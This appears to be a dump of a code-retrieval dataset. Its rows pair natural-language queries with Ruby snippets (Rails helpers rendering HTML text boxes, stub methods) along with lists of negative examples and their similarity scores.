query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
what can it do | def name (name)
@name = name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def probers; end",
"def suivre; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def operations; end",
"def operations; end",
"def formation; end",
"def berlioz; end",
"def who_we_are\r\n end",
"def terpene; end",
"def verdi; end",
"def r; end",
"def r; end",
"def ibu; end",
"def weber; end",
"def zuruecksetzen()\n end",
"def stderrs; end",
"def trd; end",
"def malts; end",
"def refutal()\n end",
"def villian; end",
"def anchored; end",
"def operation; end",
"def identify; end",
"def processor; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def used?; end",
"def getc() end",
"def getc() end",
"def getc() end",
"def flag; end",
"def bs; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def gounod; end",
"def run() end",
"def celebration; end",
"def schumann; end",
"def isolated; end",
"def isolated; end",
"def how_it_works\r\n end",
"def probers=(_arg0); end",
"def intensifier; end",
"def informational?; end",
"def sn\n end",
"def mech; end",
"def mech; end",
"def dh; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def rossini; end",
"def hiss; end",
"def eplore\n end",
"def tld; end",
"def tld; end",
"def ismn; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def whiny=(_arg0); end",
"def do()\r\n\tend",
"def implementation; end",
"def implementation; end",
"def custom; end",
"def custom; end",
"def hd\n \n end",
"def whiny; end",
"def stat() end",
"def handle; end",
"def invention; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end"
] | [
"0.71564245",
"0.7099721",
"0.691293",
"0.66757196",
"0.66709125",
"0.66709125",
"0.66709125",
"0.66709125",
"0.65342927",
"0.65342927",
"0.6503778",
"0.6439634",
"0.6430328",
"0.6420799",
"0.6389896",
"0.6316146",
"0.6316146",
"0.63094395",
"0.629723",
"0.62489974",
"0.6222516",
"0.6211477",
"0.6203412",
"0.6190523",
"0.6183472",
"0.6176122",
"0.615143",
"0.61272955",
"0.61145896",
"0.6085035",
"0.6085035",
"0.6085035",
"0.6085035",
"0.6085035",
"0.6085035",
"0.6085035",
"0.6085035",
"0.6085035",
"0.60668397",
"0.60563624",
"0.60563624",
"0.60563624",
"0.6046969",
"0.60288435",
"0.60244155",
"0.60244155",
"0.60244155",
"0.60244155",
"0.60244155",
"0.60244155",
"0.60244155",
"0.60244155",
"0.60105",
"0.60105",
"0.5995657",
"0.59934783",
"0.5986734",
"0.5981417",
"0.5980177",
"0.5980177",
"0.59800154",
"0.5942336",
"0.5936574",
"0.59292006",
"0.5918762",
"0.59106565",
"0.59106565",
"0.59082216",
"0.5892536",
"0.5892536",
"0.5892536",
"0.58905214",
"0.5888831",
"0.58757883",
"0.5870957",
"0.5870957",
"0.58705443",
"0.586798",
"0.586798",
"0.586798",
"0.586798",
"0.586798",
"0.586798",
"0.586798",
"0.586798",
"0.58654356",
"0.58544946",
"0.5851794",
"0.5851794",
"0.5842204",
"0.5842204",
"0.58390766",
"0.58228743",
"0.58223623",
"0.5817344",
"0.58164656",
"0.5812982",
"0.5812982",
"0.5812982",
"0.5812982",
"0.5812982"
] | 0.0 | -1 |
Render multiple boxes. Takes as argument a single array of Hash For the Hash options, please see render_box. The boxes are wrapped in a div with class "textboxes". You can pass individual styling using :textboxes_style => textboxes_style. You can specify a template Hash ( :template => template ) which will be merged with each indivdual's box's options Hash. This way, you can create a list of boxes that look the same but some have their own characteristics. Also adds a div with style "clear: both" after the output so other objects won't start floating. If you don't want that, add :noclear => true as an option. | def render_boxes(array = [], options = {})
boxes = ""
template = {}
if options[:template].class.to_s.eql?("Hash")
template = options[:template]
end
array.each do |individual_options|
box_options = template
box_options = template.merge(individual_options) unless individual_options.nil?
r = render_box(box_options)
unless individual_options[:link].blank?
r = "<a href='#{individual_options[:link]}' target='#{individual_options[:link_target]}' class='no_underline render_boxes'>#{r}</a>"
end
boxes += r unless r.blank?
end
boxes_div = content_tag :div, boxes, :class => "textboxes", :style => options[:textboxes_style]
clear_both_ = ""
unless options[:noclear] === true
clear_both_ = clear_both
end
boxes_div + clear_both_
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def render_box(options = {})\n # list of classes for the outer div.\n outer_div_classes = [ \"textbox_container\" ]\n # inner div, same story\n inner_div_classes = [ \"textbox\" ]\n # heading\n heading_classes = [ \"heading\" ]\n\n content = yield if block_given?\n content ||= options[:content]\n \n return nil if content.blank? && options[:heading].blank? unless options[:empty]\n\n # Options:\n # float_left\n outer_div_classes.push(\"float_left\") if options[:float_left] === true\n # text_align_center\n inner_div_classes.push(\"text_align_center\") if options[:text_align_center] === true\n # highlight\n inner_div_classes.push(\"highlight\") if options[:highlight] === true\n # background_image\n background_image = options[:background_image]\n # header color\n heading_color = options[:heading_color]\n inner_div_classes.push(\"textbox_#{heading_color}\") unless heading_color.blank?\n # background color\n background_color = options[:background_color]\n\n ############################################################################\n # inner div\n ############################################################################\n\n inner_div_classes.push(\"#{background_color}_background\") unless background_color.blank?\n\n inner_div_options = { :class => c(inner_div_classes) }\n inner_div_styles = []\n unless background_image.blank?\n # opacity:0.4;filter:alpha(opacity=40);\n inner_div_styles.push \"background: url(#{background_image}) no-repeat center;\"\n end\n\n unless options[:height].blank?\n inner_div_styles.push \"height: #{options[:height]}\"\n end\n\n unless options[:width].blank?\n inner_div_styles.push \"width: #{options[:width]}\"\n end\n\n unless inner_div_styles.blank?\n inner_div_options[:style] = c(inner_div_styles)\n\n end\n inner_div_options[:style] ||= options[:inner_div_style] # can be overridden\n\n ############################################################################\n # outer div\n ############################################################################\n\n outer_div_options = { :class => c(outer_div_classes) }\n outer_div_options[:style] = options[:outer_div_style]\n\n ############################################################################\n # text div\n ############################################################################\n\n text_div_options = {}\n text_div_classes = []\n\n text_div_classes.push \"bigfont\" if options[:bigfont] === true\n text_div_classes.push \"solid_background\" if options[:solid_background] === true\n\n text_div_options[:class] = c(text_div_classes)\n\n ############################################################################\n # go render\n ############################################################################\n\n # let's go, outer div\n content_tag :div, outer_div_options do\n content_tag :div, inner_div_options do\n # heading\n heading = \"\"\n heading = content_tag :p, options[:heading], :class => c(heading_classes), :style => options[:heading_style] unless options[:heading].blank?\n # text div\n content_tag_ = content_tag :div, text_div_options do\n content_tag :p, content, :class => \"inner_p\"\n end\n # do it!\n heading + content_tag_\n end\n end\n end",
"def box_it(array_of_lines, padding = 1, _box_colour = :bc_cyan)\n max_length = max_box_line_length(array_of_lines)\n pad_string = \"\\s\" * padding\n\n box_lines = [\n # Set the top box line\n \"#{BOX_TOP_LEFT}#{BOX_HORIZONTAL_LINE * (max_length + (padding + 1))}#{BOX_TOP_RIGHT}\"\n ]\n\n array_of_lines.each do |line|\n line_length = line.sanitize.length\n box_lines << \"#{BOX_SIDE}#{pad_string}\" + line.to_s + \"#{\"\\s\" * (max_length - line_length)}#{pad_string}#{BOX_SIDE}\"\n end\n\n # Set the bottom box line\n box_lines << \"#{BOX_BOTTOM_LEFT}#{BOX_HORIZONTAL_LINE * (max_length + (padding + 1))}#{BOX_BOTTOM_RIGHT}\"\n box_lines\n end",
"def compile_all_boxes\n boxes={}\n row=0\n col=0\n i=1\n while row<8\n while col<8\n boxes[\"box_#{i}\"] = compile_box(row, col)\n i+=1\n col+=3\n end\n col=0\n # i+=1\n row+=3\n end\n boxes\n end",
"def render_iform\n @multi_objs.each do |obj|\n render :partial => 'iform', :object => obj\n end\n end",
"def create_pokemon_text_boxes\n @pkm_text_boxes = []\n $actors.each do |pkm|\n @pkm_text_boxes << Pokemon_Text_Box.new(@viewport, pkm)\n end\n end",
"def box msgs, box_char=@box_char, box_size=@box_size\n self.liner box_char, box_size\n [msgs].flatten.each do |text|\n text.each_line do |line|\n self.<< '# ' + box_char + ' ' + line.chomp + \"\\n\"\n end\n end\n self.liner box_char, box_size\n end",
"def add_boxes( name, number, properties = {} )\n number > 1 or raise \"Number of #{name} boxes #{number} is not positive\"\n ( 1 .. number ).each{ |j| VB_BOXES[ \"#{ name }#{ j }\" ] = properties }\nend",
"def box(name, options={}, &block)\n options.merge!(:body=>capture(&block))\n concat(render(:partial => \"shared/ubiquo/boxes/#{name}\", :locals => options), block.binding)\n end",
"def render_combos\n # build the cache of all combos\n (1..@box_size).each { |size| cache_all_boxes_sized(size) }\n\n puts \"\\nThere are #{@box_combinations[@box_size].size} combinations:\\n\\n\"\n\n # print the combos\n @box_combinations[@box_size].values.each_with_index do |box,index|\n box.render_cookies\n puts \"\"\n end\n end",
"def prettybox(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_top\\\">\n <div> </div>\n </div><div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def print_employee_data_box(box_x, box_y)\n\n # Draw box.\n x = box_x\n y = box_y - 0.375\n self.vms_text_box(@data[:employee][:ssn], x, y, 1.25, 0.25, 7, :bold, :center, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:wages][:gross]), x + 1.3, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:taxes][:federal]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.25\n self.vms_text_box(curr(@data[:wages][:social_security]), x + 1.3, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:taxes][:social_security]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.125\n self.vms_text_box(@data[:employer][:ein], x, y, 1.25, 0.25, 7, :bold, :center, :center, @data_font, @data_color)\n y -= 0.125\n self.vms_text_box(curr(@data[:wages][:medicare]), x + 1.3, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:taxes][:medicare]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.25\n self.vms_text_box(\"#{@data[:employer][:name]}\\n#{@data[:employer][:street]}\\n#{@data[:employer][:city]}, #{@data[:employer][:state]} #{@data[:employer][:zip]}\", x + 0.05, y, 3.65, 0.625, 7, :bold, :left, :center, @data_font, @data_color)\n y -= 1\n self.vms_text_box(\"#{@data[:employee][:name]}\\n#{@data[:employee][:street]}\\n#{@data[:employee][:city]}, #{@data[:employee][:state]} #{@data[:employee][:zip]}\", x + 0.05, y, 3.65, 0.625, 7, :bold, :left, :center, @data_font, @data_color)\n y -= 1\n self.vms_text_box(@data[:box_12][:a][:code], x + 2.55, y, 1.15, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:box_12][:a][:amount]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.25\n self.vms_text_box(\"X\", x + 0.05, y, 0.9, 0.125, 7, :bold, :center, :center, @data_font, @data_color) if @data[:box_13][:statutory]\n self.vms_text_box(@data[:box_12][:b][:code], x + 2.55, y, 1.15, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:box_12][:b][:amount]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.25\n self.vms_text_box(\"X\", x + 0.05, y, 0.9, 0.125, 7, :bold, :center, :center, @data_font, @data_color) if @data[:box_13][:retirement]\n self.vms_text_box(@data[:box_12][:c][:code], x + 2.55, y, 1.15, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:box_12][:c][:amount]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.25\n self.vms_text_box(\"X\", x + 0.05, y, 0.9, 0.125, 7, :bold, :center, :center, @data_font, @data_color) if @data[:box_13][:third_party_sick]\n self.vms_text_box(@data[:box_12][:d][:code], x + 2.55, y, 1.15, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:box_12][:d][:amount]), x + 2.55, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n y -= 0.125\n unless @data[:state][0].blank?\n self.vms_text_box(@data[:state][0][:code], x, y, 0.3, 0.125, 7, :bold, :center, :center, @data_font, @data_color)\n self.vms_text_box(@data[:state][0][:ein], x + 0.35, y, 1, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:state][0][:wages]), x + 1.45, y, 1.1, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:state][0][:tax]), x + 2.65, y, 1.05, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n end\n y -= 0.125\n unless @data[:state][1].blank?\n self.vms_text_box(@data[:state][1][:code], x, y, 0.3, 0.125, 7, :bold, :center, :center, @data_font, @data_color)\n self.vms_text_box(@data[:state][1][:ein], x + 0.35, y, 1, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:state][1][:wages]), x + 1.45, y, 1.1, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:state][1][:tax]), x + 2.65, y, 1.05, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n end\n y -= 0.375\n unless @data[:local][0].blank?\n self.vms_text_box(curr(@data[:local][0][:wages]), x + 0.05, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:local][0][:tax]), x + 1.3, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(@data[:local][0][:name], x + 2.55, y, 1.15, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n end\n y -= 0.125\n unless @data[:local][1].blank?\n self.vms_text_box(curr(@data[:local][1][:wages]), x + 0.05, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(curr(@data[:local][1][:tax]), x + 1.3, y, 1.15, 0.125, 7, :bold, :right, :center, @data_font, @data_color)\n self.vms_text_box(@data[:local][1][:name], x + 2.55, y, 1.15, 0.125, 7, :bold, :left, :center, @data_font, @data_color)\n end\n\n end",
"def create_congratulation_text_boxes\n @congrats_text_boxes = []\n $actors.each do |pkm|\n @congrats_text_boxes << Congratulation_Text_Box.new(@viewport, pkm)\n end\n end",
"def create_boxes(num)\n box_vertices = polygon_vertices(NUM_SIDES, EDGE_SIZE)\n box_image = polygon_image(box_vertices)\n boxes = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_poly(1.0, box_vertices, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(SCREEN_WIDTH), rand(40) - 50)\n shape = CP::Shape::Poly.new(body, box_vertices, CP::Vec2.new(0, 0))\n shape.e = 0.0\n shape.u = 0.4\n boxes << AObject.new(box_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return boxes\n end",
"def render_batch(languages,argsx={},callback_options={})\n clear\n result={}\n \n frame_binding= create_binding(argsx,callback_options)\n languages.each do |language|\n template=prep_template(language,frame_binding)\n apply_view_setup(frame_binding)\n result[language]= render_impl(template,language,frame_binding)\n end\n result\n end",
"def generate_square_boxes(row, drawings)\n content_tag :div, :class => \"drawing_section\" do\n 1.upto(row){|item| concat(generate_row(item, row,drawings))}\n end\n end",
"def create_boxes(num)\n box_vertices = polygon_vertices(NUM_SIDES, EDGE_SIZE)\n box_image = polygon_image(box_vertices)\n boxes = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_poly(1.0, box_vertices, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(WIDTH), rand(40) - 50)\n shape = CP::Shape::Poly.new(body, box_vertices, CP::Vec2.new(0, 0))\n shape.e = 0.0\n shape.u = 0.4\n boxes << Box.new(box_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return boxes\n end",
"def check_for_boxes\n @boxes = []\n box_parser_hook = 'rpick_box_parser_hook'\n\n box_parser = Proc.new do |server_string|\n if server_string =~ /\\d+ items displayed/\n DownstreamHook.remove(box_parser_hook)\n elsif server_string =~ Dictionary.box_finder_regex\n box_id = $1\n box_noun = $2\n box_name = $3\n @boxes << { id: box_id, noun: box_noun, name: box_name }\n nil\n else\n nil\n end\n end\n\n DownstreamHook.add(box_parser_hook, box_parser)\n fput \"inv full\"\n end",
"def prettybox_bottomonly(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def boxes\n @pz.group_by.each_with_index { |val, n| box_id(n) }\n end",
"def build_box\n box = eval(type.sub('Template', '')).new\n box.box_template = self\n box.class.accessible_attributes.each do |attr|\n box.assign_attributes({attr => self.send(attr)}) unless ['type', ''].include? attr\n end\n box\n end",
"def multiple_parameter_set_box\n view = Box.create_vertical_box\n top_row = Box.create_horizontal_box\n top_row.add(collapse_button)\n top_row.add(parameter_set_selection_combo)\n view.add(top_row)\n bottom_row = multi_buttons\n view.add(bottom_row)\n view.add(JSeparator.new)\n view.add(JSeparator.new)\n view\n end",
"def box config={}, &block\n require 'canis/core/widgets/box'\n # take current stacks row and col\n # advance row by one and col by one\n # at end note row and advance by one\n # draw a box around using these coordinates. width should be\n # provided unless we have item width or something.\n @_ws_active ||= []\n last = @_ws_active.last\n if last\n r = last[:row]\n c = last[:col]\n config[:row] = r\n config[:col] = c\n last[:row] += config[:margin_top] || 1\n last[:col] += config[:margin_left] || 1\n _box = Box.new @form, config # needs to be created first or will overwrite area after others painted\n yield_or_eval &block if block_given?\n # FIXME last[height] needs to account for row\n h = config[:height] || last[:height] || (last[:row] - r)\n h = 2 if h < 2\n w = config[:width] || last[:width] || 15 # tmp\n case last\n when WsFlow\n w = last[:col]\n when WsStack\n #h += 1\n end\n config[:row] = r\n config[:col] = c\n config[:height] = h\n config[:width] = w\n _box.row r\n _box.col c\n _box.height h\n _box.width w\n last[:row] += 1\n last[:col] += 1 # ??? XXX if flow we need to increment properly or not ?\n end\n end",
"def boxes\n box_lines.map {|l| parse_line l.match(PARSE_BOX) }.to_set\n end",
"def box config={}, &block\n require 'canis/core/widgets/box'\n # take current stacks row and col\n # advance row by one and col by one\n # at end note row and advance by one\n # draw a box around using these coordinates. width should be\n # provided unless we have item width or something.\n last = @_ws_active.last\n if last\n r = last[:row]\n c = last[:col]\n config[:row] = r\n config[:col] = c\n last[:row] += config[:margin_top] || 1\n last[:col] += config[:margin_left] || 1\n _box = Box.new @form, config # needs to be created first or will overwrite area after others painted\n yield_or_eval &block if block_given?\n h = config[:height] || last[:height] || (last[:row] - r)\n h = 2 if h < 2\n w = config[:width] || last[:width] || 15 # tmp\n case last\n when WsFlow\n w = last[:col]\n when WsStack\n #h += 1\n end\n config[:row] = r\n config[:col] = c\n config[:height] = h\n config[:width] = w\n _box.row r\n _box.col c\n _box.height h\n _box.width w\n last[:row] += 1\n last[:col] += 1 # ??? XXX if flow we need to increment properly or not ?\n end\n end",
"def to_boxes\n boxes = []\n @contents.each do |c|\n if @type == VERTICAL\n boxes << Box.new(c[0], 0, c[1], c[2])\n else\n boxes << Box.new(0, c[0], c[2], c[1])\n end\n end\n boxes\n end",
"def merge(boxes)\n content = []\n tracker = nil\n boxes.each do |b|\n content << b.contents\n unless b.tracker.nil?\n if tracker.nil?\n tracker = b.tracker\n else\n tracker = tracker.merge(b.tracker)\n end\n end\n end\n Box.new(content, tracker)\n end",
"def draw_multi(text, x, y, width, lines = -1, base_color = Color.new(255,255,255), shadow_color = nil,\n outline = false, y_line_diff = 24, allow_split_in_words = false)\n self.bmp.draw_multi(text, x, y, width, lines, base_color, shadow_color,\n outline, y_line_diff, allow_split_in_words)\n end",
"def box(title=nil, options={}, &block)\n title = I18n.t(\"admin.boxs.#{title}\", :default => title.to_s.humanize) if title.is_a?(Symbol)\n subtitle = options.delete(:subtitle)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat_content (<<-HTML).gsub(/ {10}/, '')\n <div class=\"#{options[:class]}\" style=\"options[:style]\">\n <div class=\"x-box\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Admin.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" if title.present?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" if subtitle.present?}\n #{\"<br class=\\\"clear\\\" />\" if title.present? || subtitle.present?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if title.present? || subtitle.present?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if title.present? || subtitle.present?}\n #{capture_html(&block)}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def create_widgets\n top_box = Gtk::HBox.new(false, 0)\n @start_button = Gtk::Button.new(\"Start\")\n top_box.pack_start(@start_button, true, true, 5)\n @time_label = Gtk::Label.new\n @time_label.set_markup(\"<span size='xx-large'>00:00:00</span>\") \n top_box.pack_end(@time_label, false, false, 5)\n \n mid_vert_box = Gtk::VBox.new(false, 0)\n \n project_box = Gtk::HBox.new(false, 0)\n @project_combo = Gtk::ComboBox.new\n project_box.pack_start(@project_combo, true, true, 5)\n \n task_box = Gtk::HBox.new(false, 0)\n @task_combo = Gtk::ComboBox.new\n task_box.pack_start(@task_combo, true, true, 5)\n \n comment_box = Gtk::HBox.new(false, 0)\n @comment_entry = Gtk::Entry.new\n comment_box.pack_start(@comment_entry, true, true, 5)\n \n mid_vert_box.add(project_box)\n mid_vert_box.add(task_box)\n mid_vert_box.add(comment_box)\n mid_vert_box.spacing = 5\n \n bottom_box = Gtk::HBox.new\n bottom_box.spacing = 5\n @post_button = Gtk::Button.new(\"Post Timer\")\n bottom_box.pack_end(@post_button, false, 0)\n @reset_button = Gtk::Button.new(\"Clear Timer\")\n bottom_box.pack_end(@reset_button, false, 0)\n \n main_box = Gtk::VBox.new(false, 0)\n main_box.spacing = 20\n main_box.add(top_box)\n main_box.add(mid_vert_box)\n main_box.add(bottom_box)\n \n @window.add(main_box)\n end",
"def roundedbox(html_options = {}, &block)\n html_options[:class] = ['box', html_options[:class]].compact.join(' ')\n concat <<-MARKUP\n <div #{tag_options(html_options)}>\n <div class=\"boxtop\"><div> </div></div>\n <div class=\"boxcontent\">#{capture(&block)}</div>\n <div class=\"boxbottom\"><div> </div></div>\n </div>\n MARKUP\n end",
"def boxes\n @_boxes ||= BoxCollection.new(boxes_path)\n end",
"def initialize\n @boxes = Array.new(MAX_BOXES) { Array.new(30) }\n @names = Array.new(MAX_BOXES) { |i| text_get(16, i) }\n @themes = 1.upto(MAX_BOXES).to_a\n $game_variables[Yuki::Var::Boxes_Current] = @current_box = 0\n @other_party = []\n end",
"def bbox_display_inputs\n %(\n <div class=\"row bbox-inputs\">\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>North</div></span>\n <input readonly id=\"bbox-north\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>East</div></span>\n <input readonly id=\"bbox-east\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>South</div></span>\n <input readonly id=\"bbox-south\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>West</div></span>\n <input readonly id=\"bbox-west\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n </div>\n )\n end",
"def box(title=nil, subtitle=nil, options={}, &block)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat <<-HTML\n <div class=\"x-box\" style=\"#{options[:style]}\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Backend.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" unless title.blank?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" unless subtitle.blank?}\n #{\"<br class=\\\"clear\\\" />\" if !title.blank? || !subtitle.blank?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if !title.blank? || !subtitle.blank?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if !title.blank? || !subtitle.blank?}\n #{capture(&block)}\n #{\"<div style=\\\"text-align:right;margin-top:10px\\\">#{submit_tag(I18n.t(\"lipsiadmin.buttons.save\"), :onclick=>\"Backend.app.submitForm()\")}</div>\" if options[:submit]}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def ft_generate_html(tags, *args, &block)\n # todo: pass these tags as a parameter; don't rely on ugly globals\n FreightTrain.tags = tags\n\n options = args.extract_options!\n collection_name = args.last.to_s\n raise ArgumentError, \"Missing collection name\" if collection_name.blank?\n model_name = collection_name.classify\n instance_name = collection_name.singularize\n partial = options[:partial] || instance_name\n\n @inline_editor = \"function(tr){}\"\n\n records = instance_variable_get \"@#{collection_name}\"\n path = options[:path] || polymorphic_path(args)\n\n # put everything inside a form\n raw_or_concat(\n \"<form class=\\\"freight_train\\\" data-model=\\\"#{model_name}\\\" action=\\\"#{path}\\\" method=\\\"get\\\">\" <<\n \"<input name=\\\"#{request_forgery_protection_token}\\\" type=\\\"hidden\\\" value=\\\"#{escape_javascript(form_authenticity_token)}\\\"/>\\n\" <<\n \"<input name=\\\"ft[partial]\\\" type=\\\"hidden\\\" value=\\\"#{partial}\\\"/>\\n\" <<\n \"<input name=\\\"freight_train\\\" type=\\\"hidden\\\" value=\\\"true\\\"/>\\n\" <<\n\n # table\n alt_content_tag(:table, :class => \"list #{options[:class]}\") {\n=begin\n head = block_given? ? capture(ListBuilder.new(instance_name, self, options), &block) : \"\"\n body = (records and !records.empty?) ? render(:partial => partial, :collection => records) : \"\"\n alt_content_tag(:thead, head) <<\n alt_content_tag(:body, body, :id => collection_name)\n=end\n lb = ListBuilder.new(instance_name, self, options)\n header = capture(lb, &block) if block_given?\n footer = lb.footer_html\n html = \"\"\n html << alt_content_tag(:thead) { header.html_safe } unless header.blank?\n html << alt_content_tag(:tbody, :id => collection_name) {\n render(:partial => partial, :collection => records) unless !records or records.empty?\n }\n html << alt_content_tag(:tfoot) { footer.html_safe } unless footer.blank?\n html.html_safe\n } <<\n \"</form>\\n\" <<\n\n \"#{will_paginate(records) if options[:paginate]}\" <<\n make_interactive(path, collection_name, options)\n\n )\n end",
"def vms_text_box(text, x, y, width, height, size = 10, style = :normal, align = :center, valign = :center, font_family = nil, font_color = nil)\n font_family = @standard_font if font_family.nil?\n font_color = @standard_color if font_color.nil?\n font(font_family,\n style: style)\n font_size(size)\n fill_color(font_color)\n text_box(text,\n at: [x.in, y.in],\n width: width.in,\n height: height.in,\n align: align,\n valign: valign,\n inline_format: true,\n overflow: :shrink_to_fit)\n end",
"def initialize(boxes = [], qtext='', failchoice=-1,\n nochoice=nil, type='square', db_column='')\n\n @boxes = boxes\n @qtext = qtext\n @type = type\n @db_column = db_column\n @no_answer = true\n @hide_answers = false\n @last_is_textbox = nil\n @height = nil\n end",
